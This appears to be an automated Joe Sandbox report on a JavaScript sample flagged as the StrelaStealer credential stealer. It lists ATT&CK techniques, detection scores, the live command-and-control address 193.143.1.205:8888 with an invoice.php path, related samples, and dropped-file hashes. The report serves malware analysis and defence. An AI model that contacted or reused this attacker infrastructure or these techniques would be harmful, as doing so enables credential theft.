Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5749110051971019035.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
5749110051971019035.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Cn	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_n	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/49	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 0000000E.00000002.2575498485.0000018677200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
http://193.143.1.205:8888/_n	net.exe, 0000000C.00000002.1342845175.00000239349C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1342845175.00000239349C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1342845175.00000239349E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1342845175.0000023934988000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Cn	net.exe, 0000000C.00000002.1342845175.00000239349C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/49	net.exe, 0000000C.00000002.1342845175.0000023934988000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000E.00000003.1341379151.0000018677410000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588563
Start date and time:	2025-01-11 02:24:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5749110051971019035.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 18.213.11.84, 54.224.241.105, 50.16.47.176, 34.237.241.83, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 3.219.243.226, 4.175.87.197, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:25:07	API Interceptor	22x Sleep call for process: powershell.exe modified
20:25:11	API Interceptor	1x Sleep call for process: net.exe modified
20:25:11	API Interceptor	2x Sleep call for process: svchost.exe modified
20:25:20	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18731127942186526806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1792532021822412669.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18971281001132729595.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17985298091058916725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807573817672689
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9k:0J7adfWuK0p/QDfKoPeuP0aN4fqoxb
MD5:	47DD86056D2D8A3562A05BB09E856F53
SHA1:	4E4E0843863563B792A01DAC780296594564DB30
SHA-256:	4AF5DB302A18876F3038220EFBC2C565B2B91B109B1E91C6A03EA8A591486A50
SHA-512:	A019CDE427715231751EA09F5B1237706455CF420EEA8753AA47D480FB3C0017BAC2C0CA16A19B35EC4BC423C2C704A3E032E05B83C82F746876E2A4C9FB8990
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4ebb1bcf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880526628792155
Encrypted:	false
SSDEEP:	1536:PSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:PazaPv4V4fXq2UaB
MD5:	ED13BAFC5B8A28839105746545AD896E
SHA1:	0C85A1318EBC5EF8E0B8165108A5C22E7E8185AE
SHA-256:	E8F9695F12200C59D7F7783938E31FC70CE842B56ED762C98D5F9F9F6EC4FD77
SHA-512:	61757C5E17D1335FC8381353D65A1FA9192CAA756A5416F4CD10F80B3EDFB2AE18FEBC98DC5D8355E6C81D7DF97C7AAE55E18A28A08760197889697A670F23A5
Malicious:	false
Preview:	N...... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{....................................ju.....}.6................G.^......}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08085959397267303
Encrypted:	false
SSDEEP:	3:hn6l6Yee1v+q1XlVG0+q2Iqe8lr2p1/1ollNTt/4ll/Q6beV/:xBzY1GE8lhHtc6V
MD5:	6CD3EC038640936D702300E5FB44A0D2
SHA1:	7BF13C56174838644103075B04CF5FE3D0D89E56
SHA-256:	28B222FFFC8FFBCEF736FCADA9E9BCF4092BF5E847B8A4F947729B0B45F5868E
SHA-512:	2FAEA071261E924E4A57FE46677842D8615606B63E7D787695FDD51CA6D83C61F04D4DA97D6277AB0D778AE64692906701985B33EBB0919627E435C8C9618320
Malicious:	false
Preview:	yu.&.....................................;...{.......}.......{...............{.......{....:......{.................G.^......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.110178560390905
Encrypted:	false
SSDEEP:	6:iO4qVyZrDVq2PFi2nKuAl9OmbnIFUtSqVyZ9gZmwsqVyZ9IkwOFi2nKuAl9Ombjd:7nyZ9vdZHAahFUtZyZa/LyZm5wZHAaSJ
MD5:	4CDFA211BE7AE07BBB12F699E12FF075
SHA1:	71B733CABE56F02BF4E0AEFF764AB7F221A39F8A
SHA-256:	423F8ED7EAA17F475F7E9D9DF2C3163FEB0FB0F0666BCBC6B3930EE97AF73A84
SHA-512:	42E2EB144877B60C412CCD9798B4C55289EDC1D6D4B57AEFF7E9FF5D3A9EBD38C9888C0B85AB3CB72DC82288117A3C6F9A1C0B142F723EB04165D54FA35430AE
Malicious:	false
Preview:	2025/01/10-20:25:11.534 2e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:25:11.536 2e0 Recovering log #3.2025/01/10-20:25:11.536 2e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.110178560390905
Encrypted:	false
SSDEEP:	6:iO4qVyZrDVq2PFi2nKuAl9OmbnIFUtSqVyZ9gZmwsqVyZ9IkwOFi2nKuAl9Ombjd:7nyZ9vdZHAahFUtZyZa/LyZm5wZHAaSJ
MD5:	4CDFA211BE7AE07BBB12F699E12FF075
SHA1:	71B733CABE56F02BF4E0AEFF764AB7F221A39F8A
SHA-256:	423F8ED7EAA17F475F7E9D9DF2C3163FEB0FB0F0666BCBC6B3930EE97AF73A84
SHA-512:	42E2EB144877B60C412CCD9798B4C55289EDC1D6D4B57AEFF7E9FF5D3A9EBD38C9888C0B85AB3CB72DC82288117A3C6F9A1C0B142F723EB04165D54FA35430AE
Malicious:	false
Preview:	2025/01/10-20:25:11.534 2e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:25:11.536 2e0 Recovering log #3.2025/01/10-20:25:11.536 2e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1244005294219805
Encrypted:	false
SSDEEP:	6:iO4qVyaa1Oq2PFi2nKuAl9Ombzo2jMGIFUtSqVyfiZmwsqVyoM7kwOFi2nKuAl97:7nyaUOvdZHAa8uFUtZya/LyV75wZHAaU
MD5:	52232D19652C48ECD966ACDA1B951CCE
SHA1:	7040AFCE34C103058DAD78BA974D0E9D8F1D368A
SHA-256:	C0238F7B897578222473FF852172CDC88F614C34C6DDB06BE2D81655B1AA72DF
SHA-512:	C0E9351FAE66C790BC0C7346DA1C0DEAA53715396E7E005CAC0C53F6E95553F261C11B770ACFF4B98066E4287C5003FA5451712D98D7F90BBB21AB102EECBCCD
Malicious:	false
Preview:	2025/01/10-20:25:11.632 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:25:11.633 1fb0 Recovering log #3.2025/01/10-20:25:11.634 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1244005294219805
Encrypted:	false
SSDEEP:	6:iO4qVyaa1Oq2PFi2nKuAl9Ombzo2jMGIFUtSqVyfiZmwsqVyoM7kwOFi2nKuAl97:7nyaUOvdZHAa8uFUtZya/LyV75wZHAaU
MD5:	52232D19652C48ECD966ACDA1B951CCE
SHA1:	7040AFCE34C103058DAD78BA974D0E9D8F1D368A
SHA-256:	C0238F7B897578222473FF852172CDC88F614C34C6DDB06BE2D81655B1AA72DF
SHA-512:	C0E9351FAE66C790BC0C7346DA1C0DEAA53715396E7E005CAC0C53F6E95553F261C11B770ACFF4B98066E4287C5003FA5451712D98D7F90BBB21AB102EECBCCD
Malicious:	false
Preview:	2025/01/10-20:25:11.632 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:25:11.633 1fb0 Recovering log #3.2025/01/10-20:25:11.634 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6faa7b9e-c06b-42e0-937f-98f6c4fb6cb3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.962817667683808
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxsBdOg2HAcaq3QYiubpP7E4T3y:Y2sRdsLdMHr3QYhbd7nby
MD5:	399E32F0CE6845EF9B53C45E162CD17B
SHA1:	75798C548AD186EF4E1D54141B17D70AD7A1A634
SHA-256:	6BB6DEEAC096DCEA16D5AC2647EFA585A9FE2B26C7318C924AB884481FEF39D3
SHA-512:	EC92308F2E233BB652501B50C80BE94CA1F5408F08FC05B57D6E6393A8BF6FA26165D8DF49733DE99E03B197CBFFF810042A134115D4451EF7B5A413D3CD897B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118723530841","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139528},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962817667683808
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxsBdOg2HAcaq3QYiubpP7E4T3y:Y2sRdsLdMHr3QYhbd7nby
MD5:	399E32F0CE6845EF9B53C45E162CD17B
SHA1:	75798C548AD186EF4E1D54141B17D70AD7A1A634
SHA-256:	6BB6DEEAC096DCEA16D5AC2647EFA585A9FE2B26C7318C924AB884481FEF39D3
SHA-512:	EC92308F2E233BB652501B50C80BE94CA1F5408F08FC05B57D6E6393A8BF6FA26165D8DF49733DE99E03B197CBFFF810042A134115D4451EF7B5A413D3CD897B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118723530841","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139528},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.233207264496587
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVKYuzh:wshFT0h7cZb2EVKZPEANcGIK5EVKD9
MD5:	3AD6DA6DB83A8CFE90C8B9E861E9904C
SHA1:	8A619E3E8D73EA1CB6051030431A9E7AFFF1D57B
SHA-256:	A364A4D0AEDB9FEAFA0CCDC1B63CB56E118F0322D398BA57EDFEC6A5B16114E0
SHA-512:	817A2E7977E1E9724DA81FB6F1BE064CC542C37C7E9F9970376A9D07064A689BBBFBB896A3466E931FE2460B3856CD100A90C813932BC7D19B8D27B0D08828BE
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.123675668196969
Encrypted:	false
SSDEEP:	6:iO4qVy58q2PFi2nKuAl9OmbzNMxIFUtSqVy53ZmwsqVy5f7kwOFi2nKuAl9OmbzE:7ny58vdZHAa8jFUtZy53/Ly5z5wZHAab
MD5:	C1D1D5B21C807D4CB9F1B011A0C5AAAA
SHA1:	BF86D22BA7E86ACFFD2B17D80B5C5D7B56A77876
SHA-256:	0777A7BA553BC2D722EDFF74594763C31D63B29833A1632A9B38F3C9EC39F6DE
SHA-512:	55C8331523473D30719B6C8A737A69C380FBA7D6FB243389BEFDA6BBE90DD0EFBE185B67A87151983FA922E4E360750FB6581B6C1CEFDBEC50D1A27E3FB7FFD3
Malicious:	false
Preview:	2025/01/10-20:25:12.413 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:25:12.415 1fb0 Recovering log #3.2025/01/10-20:25:12.417 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.123675668196969
Encrypted:	false
SSDEEP:	6:iO4qVy58q2PFi2nKuAl9OmbzNMxIFUtSqVy53ZmwsqVy5f7kwOFi2nKuAl9OmbzE:7ny58vdZHAa8jFUtZy53/Ly5z5wZHAab
MD5:	C1D1D5B21C807D4CB9F1B011A0C5AAAA
SHA1:	BF86D22BA7E86ACFFD2B17D80B5C5D7B56A77876
SHA-256:	0777A7BA553BC2D722EDFF74594763C31D63B29833A1632A9B38F3C9EC39F6DE
SHA-512:	55C8331523473D30719B6C8A737A69C380FBA7D6FB243389BEFDA6BBE90DD0EFBE185B67A87151983FA922E4E360750FB6581B6C1CEFDBEC50D1A27E3FB7FFD3
Malicious:	false
Preview:	2025/01/10-20:25:12.413 1fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:25:12.415 1fb0 Recovering log #3.2025/01/10-20:25:12.417 1fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438536269184428
Encrypted:	false
SSDEEP:	384:yejci5GsiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0AurVgazUpUTTGt
MD5:	59B12C29178D9518975A9FA4AA55345C
SHA1:	9126E8458AC36F580529C7CF7B7FC769F4778918
SHA-256:	38D047B6314C98243AE79CC009A67317F5FE2AA18307F61041C3A7AF2CCD86E7
SHA-512:	4AE46D5E9D798BB618528C0CFB088B6B52A85FE47EDD4C648053650166015A5DE3C82C196C5963FA0114E4929130B05659EE9FD21C1DFAA89081FD1E931CD644
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.770288370247772
Encrypted:	false
SSDEEP:	48:7MKp/E2ioyVEioy5oWoy1CUoy1wKOioy1noy1AYoy1Wioy1hioybioy2oy1noy10:71pjuEJ/XKQ/+b9IVXEBodRBkr
MD5:	B17474BD145C33828F5D0499138550BA
SHA1:	B419343FC6F94706B2B3C1B5E9D96CCE40DE2CF9
SHA-256:	C1E9D601B3BE7DEAAE1B4E066431814148BAD78C64A0A7581706BA8C43CA843F
SHA-512:	760EB125C5263987CC609DA3E4ED38E9DEF835A49480BE74D727638F9E6AB4FAF905C1D0B2A116507B11CD0BBD66AB2386B4785867A3997EC81EA59758DE73D9
Malicious:	false
Preview:	.... .c.....ykT................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
